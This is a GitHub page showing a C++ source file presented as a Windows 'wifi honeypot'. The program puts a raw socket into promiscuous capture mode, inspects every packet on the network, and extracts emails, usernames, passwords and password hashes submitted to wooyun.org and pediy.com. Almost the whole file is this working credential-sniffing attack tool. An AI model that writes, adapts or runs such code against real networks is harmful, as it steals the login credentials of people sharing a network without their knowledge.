-
Notifications
You must be signed in to change notification settings - Fork 19
/
wifi.txt
140 lines (97 loc) · 2.95 KB
/
wifi.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <stdio.h>
#include <winsock2.h>
#include "DataStruct.h"
#include "InitSocket.h"
#include <iostream>
#include "mstcpip.h"
using namespace std;
CInitSocket initSock;
int nRet = 0;
void IsWifiHoneypots(PCHAR pBuff)
{
PIPHEADER pIphdr = (PIPHEADER)pBuff;
pBuff += (pIphdr->ipVersion & 0xf) * sizeof(ULONG);
PTCPHEADER pTcpHdr = (PTCPHEADER)pBuff;
memset(szText, ' ', nRet);
int dataLen = nRet - sizeof(IPHEADER) - sizeof(TCPHEADER);
memcpy(szText, &pBuff[sizeof(TCPHEADER)], dataLen);
int i = 0;
char szEmail[MAXBYTE] = {0};
PCHAR pEmail = szEmail;
if(strstr(szText, "wooyun.org"))
if(strstr(szText, "email"))
{
puts("--------------------------------------------");
cout<<"found Wooyun.org password:" << endl;
pEmail = strstr(szText, "email");
for(i = 0; (pEmail[i] != '&'); i++);
pEmail[i] = '\0';
puts(pEmail);
pEmail += i + 1;
if(strstr(pEmail, "password"))
{
pEmail = strstr(pEmail, "password");
for(i = 0; (pEmail[i] != '&'); i++);
pEmail[i] = '\0';
puts(pEmail);
}
puts("--------------------------------------------");
}
if(strstr(szText, "pediy.com"))
if(strstr(szText, "username"))
{
puts("--------------------------------------------");
cout<<"found pediy.com password:" << endl;
pEmail = strstr(szText, "username");
for(i = 0; (pEmail[i] != '&'); i++);
pEmail[i] = '\0';
puts(pEmail);
pEmail += i + 1;
if(strstr(pEmail, "md5password_utf="))
{
pEmail = strstr(pEmail, "md5password_utf=");
for(i = 0; (pEmail[i] != 0x20); i++);
pEmail[i] = '\0';
puts(pEmail);
}
puts("--------------------------------------------");
}
}
int main(void)
{
system("chcp 936 & cls & title windows wifi ÃÛ¹Þ by °ë½ï°ËƒÉ & color 0a");
SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
char szHostName[56];
SOCKADDR_IN localAddr;
struct hostent *pHost;
gethostname(szHostName, 56);
if ((pHost = gethostbyname((char*)szHostName)) == NULL)
{
return 0;
}
localAddr.sin_family = AF_INET;
localAddr.sin_port = htons(0);
memcpy(&localAddr.sin_addr.S_un.S_addr, pHost->h_addr_list[1], pHost->h_length);
if (bind(sRaw, (PSOCKADDR)&localAddr, sizeof(localAddr)) == SOCKET_ERROR)
{
return 0;
}
DWORD dwValue = 1;
if (ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)
{
return 0;
}
cout << "<<Listen in Wooyun.org and pediy.com>>" << endl << endl;
char buff[1024];
while(true)
{
nRet = recv(sRaw, buff, 1024, 0);
if (nRet > 0)
{
buff[nRet] = '\0';
IsWifiHoneypots(buff);
}
}
closesocket(sRaw);
return 0;
}